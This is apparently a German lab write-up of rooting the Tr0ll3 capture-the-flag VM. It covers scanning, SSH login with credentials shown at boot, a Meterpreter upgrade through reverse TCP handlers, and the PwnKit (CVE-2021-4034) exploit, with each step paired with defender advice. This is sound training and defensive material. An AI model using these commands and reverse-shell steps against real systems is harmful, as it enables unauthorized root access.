192.168.2.145 08:00:27:cb:6e:8e PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerksegment mittels ARP-Protokoll zu entdecken.
Bewertung: Ein Host wurde unter der IP-Adresse 192.168.2.145 identifiziert. Die MAC-Adresse (08:00:27:...) weist auf eine VirtualBox-VM hin. Dies ist unser Zielsystem.
Empfehlung (Pentester): Notieren Sie die IP 192.168.2.145 für weitere Scans.
Empfehlung (Admin): Netzwerksegmentierung kann die Erkennung erschweren.
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt: 192.168.2.145 troll3.vln
Analyse: Die lokale Hosts-Datei wird bearbeitet, um der IP 192.168.2.145 den Hostnamen `troll3.vln` zuzuweisen.
Bewertung: Erleichtert die Ansprache des Zielsystems über einen Namen.
Empfehlung (Pentester): Nützliche Vorgehensweise.
Empfehlung (Admin): Keine direkte Auswirkung auf das Ziel.
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
Analyse: Ein Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird gegen das Ziel durchgeführt, und die Ausgabe wird nach offenen Ports gefiltert.
Bewertung: Der Scan findet nur einen offenen TCP-Port: Port 22 (SSH), auf dem OpenSSH 7.6p1 (Ubuntu) läuft. Dies ist der einzige Netzwerk-basierte Angriffsvektor.
Empfehlung (Pentester): Konzentrieren Sie sich auf den SSH-Dienst. Suchen Sie nach Hinweisen auf Benutzernamen und Passwörter (z.B. durch OSINT, Standard-Credentials, Hinweise außerhalb von Netzwerkscans). Versuchen Sie ggf. einen Brute-Force-Angriff, falls Benutzernamen bekannt sind.
Empfehlung (Admin): Stellen Sie sicher, dass SSH sicher konfiguriert ist (aktuelle Version, Schlüsselauthentifizierung bevorzugt, starke Passwörter, Fail2Ban).
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-19 15:11 CEST Nmap scan report for troll3.vln (192.168.2.145) Host is up (0.00016s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 6d:d1:ea:d0:a8:1e:83:ef:c7:4f:ae:4c:bb:d6:75:19 (RSA) | 256 24:5f:cb:ef:3a:db:b5:59:c6:15:51:b9:2b:9b:fa:39 (ECDSA) |_ 256 8b:96:de:4a:11:45:a7:f9:eb:60:9b:45:da:1a:21:de (ED25519) MAC Address: 08:00:27:CB:6E:8E (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.16 ms troll3.vln (192.168.2.145)
Analyse: Die vollständige Nmap-Ausgabe für den vorherigen Scan wird angezeigt.
Bewertung: Bestätigt Port 22 (SSH) als einzigen offenen Port. Die OpenSSH-Version 7.6p1 ist nicht brandaktuell, aber auch nicht extrem alt; bekannte Schwachstellen sind weniger wahrscheinlich als bei älteren Versionen. Die OS-Erkennung schätzt Linux 3.2 - 4.9. Keine weiteren verwertbaren Informationen aus den NSE-Skripten.
Empfehlung (Pentester): Da nur SSH offen ist, müssen Zugangsdaten gefunden werden. Suchen Sie nach Hinweisen außerhalb der Netzwerk-Enumeration (z.B. Informationen während des Boot-Vorgangs der VM, wie im nächsten Schritt angedeutet).
Empfehlung (Admin): Halten Sie SSH aktuell und sicher konfiguriert.
Da die Netzwerk-Enumeration nur den SSH-Port aufdeckte, wurde nach anderen Hinweisen gesucht. Beim Booten der virtuellen Maschine wurde die Meldung `start:here` beobachtet. Dies deutet auf einen möglichen Benutzernamen (`start`) und ein Passwort (`here`) hin.
rhosts => 192.168.2.145
username => start
password => here
[*] 192.168.2.145:22 - Starting bruteforce [+] 192.168.2.145:22 - Success: 'start:here' 'uid=1001(start) gid=1001(start) groups=1001(start) Linux Tr0ll3 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux ' [*] SSH session 1 opened (192.168.2.199:39745 -> 192.168.2.145:22) at 2023-10-19 15:31:18 +0200 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Analyse: Das Metasploit-Modul `auxiliary/scanner/ssh/ssh_login` wird verwendet, um die beim Booten beobachteten Zugangsdaten (`start`:`here`) am SSH-Dienst zu testen. Die Optionen `rhosts`, `username` und `password` werden entsprechend gesetzt.
Bewertung: Erfolg! Das Modul meldet `[+] Success: 'start:here'`. Die Zugangsdaten sind korrekt und Metasploit öffnet automatisch eine SSH-Session (ID 1) zum Zielsystem als Benutzer `start`. Initial Access wurde erreicht.
Empfehlung (Pentester): Interagieren Sie mit der geöffneten SSH-Session (`sessions -i 1`), um Shell-Zugriff zu erhalten. Beginnen Sie mit der Enumeration für die Privilegieneskalation.
Empfehlung (Admin): Verwenden Sie keine trivialen oder leicht zu erratenden Benutzernamen und Passwörter. Zeigen Sie keine sensiblen Informationen während des Boot-Vorgangs an.
Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell linux SSH root @ 192.168.2.199:39745 -> 192.168.2.145:22 (192.168.2.145)
[*] Starting interaction with 1...
uid=1001(start) gid=1001(start) groups=1001(start)
Analyse: Der Befehl `sessions -i` listet die aktive Metasploit-Session auf. Mit `sessions -i 1` wird zur interaktiven Shell dieser Session gewechselt. Der `id`-Befehl bestätigt den Benutzerkontext.
Bewertung: Der Benutzer ist erfolgreich als `start` (UID 1001) auf dem Zielsystem eingeloggt.
Empfehlung (Pentester): Führen Sie grundlegende Enumerationsbefehle aus (`uname -a`, `sudo -l`, `find / -perm -4000 2>/dev/null`, `ps aux` etc.).
Empfehlung (Admin): Überwachen Sie SSH-Logins.
Nachdem der Initial Access als Benutzer `start` erlangt wurde, wird nach Wegen zur Erhöhung der Berechtigungen gesucht.
Um die weitere Enumeration und potenzielle Exploit-Ausführung zu erleichtern, wird die einfache Shell-Session zu einer Meterpreter-Session aufgewertet.
lport => 4433
session => 1
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4433 [*] Sending stage (1017704 bytes) to 192.168.2.145 [*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.145:39302) at 2023-10-19 15:32:59 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
Analyse: Das Metasploit-Post-Exploitation-Modul `post/multi/manage/shell_to_meterpreter` wird verwendet, um die bestehende Shell-Session (ID 1) zu einer Meterpreter-Session aufzuwerten. Ein Listener wird auf Port 4433 gestartet, um die neue Verbindung zu empfangen.
Bewertung: Erfolg! Das Modul führt das Upgrade erfolgreich durch und öffnet eine neue Meterpreter-Session (ID 2). Meterpreter bietet erweiterte Funktionen für die Post-Exploitation.
Empfehlung (Pentester): Wechseln Sie zur neuen Meterpreter-Session (`sessions -i 2`). Nutzen Sie Module wie den `local_exploit_suggester` oder führen Sie manuelle Enumerationsbefehle über die Meterpreter-Shell aus.
Empfehlung (Admin): EDR-Lösungen können versuchen, Meterpreter-Payloads zu erkennen. Netzwerk-Egress-Filterung kann Reverse-Verbindungen blockieren.
Es wird nach bekannten lokalen Privilegieneskalations-Exploits gesucht, insbesondere nach PwnKit (CVE-2021-4034).
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/dolibarr_16_contact_dump 2023-03-14 normal Yes Dolibarr 16 pre-auth contact database dump 1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec 2022-01-25 excellent Yes Local Privilege Escalation in polkits pkexec 2 exploit/windows/local/ms18_8120_win32k_privesc 2018-05-09 good No Windows SetImeInfoEx Win32k NULL Pointer Dereference Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/local/ms18_8120_win32k_privesc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
Analyse: Mit `search 4034` wird in Metasploit nach Modulen gesucht, die mit CVE-2021-4034 (PwnKit) in Verbindung stehen. Das Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` wird gefunden und mit `use 1` ausgewählt.
Bewertung: Das passende Exploit-Modul für PwnKit wurde identifiziert und ausgewählt. PwnKit ist eine weit verbreitete und oft erfolgreiche Schwachstelle zur lokalen Privilegieneskalation auf Linux-Systemen.
Empfehlung (Pentester): Konfigurieren Sie das PwnKit-Modul mit der aktuellen Meterpreter-Session-ID (2) und den Listener-Optionen (`LHOST`, `LPORT`).
Empfehlung (Admin): Stellen Sie sicher, dass das System gegen CVE-2021-4034 gepatcht ist (Aktualisierung des `policykit-1`-Pakets).
Der PwnKit-Exploit (CVE-2021-4034) wird nun über die Meterpreter-Session ausgeführt, um Root-Rechte zu erlangen.
lport => 4455
session => 2
[*] Started reverse TCP handler on 192.168.2.199:4455 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.abilkjxuvfvq [+] The target is vulnerable. [*] Writing '/tmp/.rjisqsn/dugctlo/dugctlo.so' (548 bytes) ... [!] Verify cleanup of /tmp/.rjisqsn [*] Sending stage (3045380 bytes) to 192.168.2.145 [+] Deleted /tmp/.rjisqsn/dugctlo/dugctlo.so [+] Deleted /tmp/.rjisqsn/.fkulaxf [+] Deleted /tmp/.rjisqsn [*] Meterpreter session 3 opened (192.168.2.199:4455 -> 192.168.2.145:52958) at 2023-10-19 15:33:56 +0200
Analyse: Das PwnKit-Exploit-Modul wird konfiguriert und ausgeführt: * `set lport 4455`: Definiert den Port für den Listener der neuen Root-Shell. * `set session 2`: Gibt die Ziel-Meterpreter-Session an, über die der Exploit ausgeführt wird. * `run`: Startet den Exploit. Das Modul prüft die Anfälligkeit (`[+] The target is vulnerable.`), lädt die notwendigen Komponenten in ein temporäres Verzeichnis (`/tmp/...`), führt den Exploit gegen `pkexec` aus und startet den Payload.
Bewertung: Erfolg! Der Exploit war erfolgreich und hat eine neue Meterpreter-Session (ID 3) mit Root-Rechten geöffnet (`Meterpreter session 3 opened`).
Empfehlung (Pentester): Wechseln Sie zur neuen Meterpreter-Session (`sessions -i 3`). Überprüfen Sie die Rechte (`getuid`, `sysinfo`). Suchen Sie nach der Root-Flag.
Empfehlung (Admin): Patchen Sie CVE-2021-4034. Überwachen Sie die Ausführung von `pkexec` und verdächtige Aktivitäten in `/tmp`.
Process 8313 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),1001(start)
flag.txt
You are truly a Jedi!
Twitter Proof:
Pr00fThatTh3L33tHax0rG0tTheFl@g!!
@Maleus21
Analyse: Aus der neuen Meterpreter-Session (ID 3) wird eine Shell geöffnet (`meterpreter > shell`). Der `id`-Befehl bestätigt die Root-Rechte (`uid=0(root)`). Es wird in das Root-Home-Verzeichnis (`cd ~` oder `cd /root`) gewechselt und die Datei `flag.txt` ausgelesen.
Bewertung: Die Root-Rechte wurden bestätigt und die Root-Flag erfolgreich gefunden: `Pr00fThatTh3L33tHax0rG0tTheFl@g!!`. Die Privilegieneskalation war erfolgreich.
Empfehlung (Pentester): Ziel erreicht. Dokumentieren Sie den Eskalationsweg über PwnKit.
Empfehlung (Admin): Patchen Sie das System und überprüfen Sie die Konfiguration auf weitere Schwachstellen.
Anmerkung: Eine User-Flag wurde im Log nicht explizit gefunden oder ausgelesen.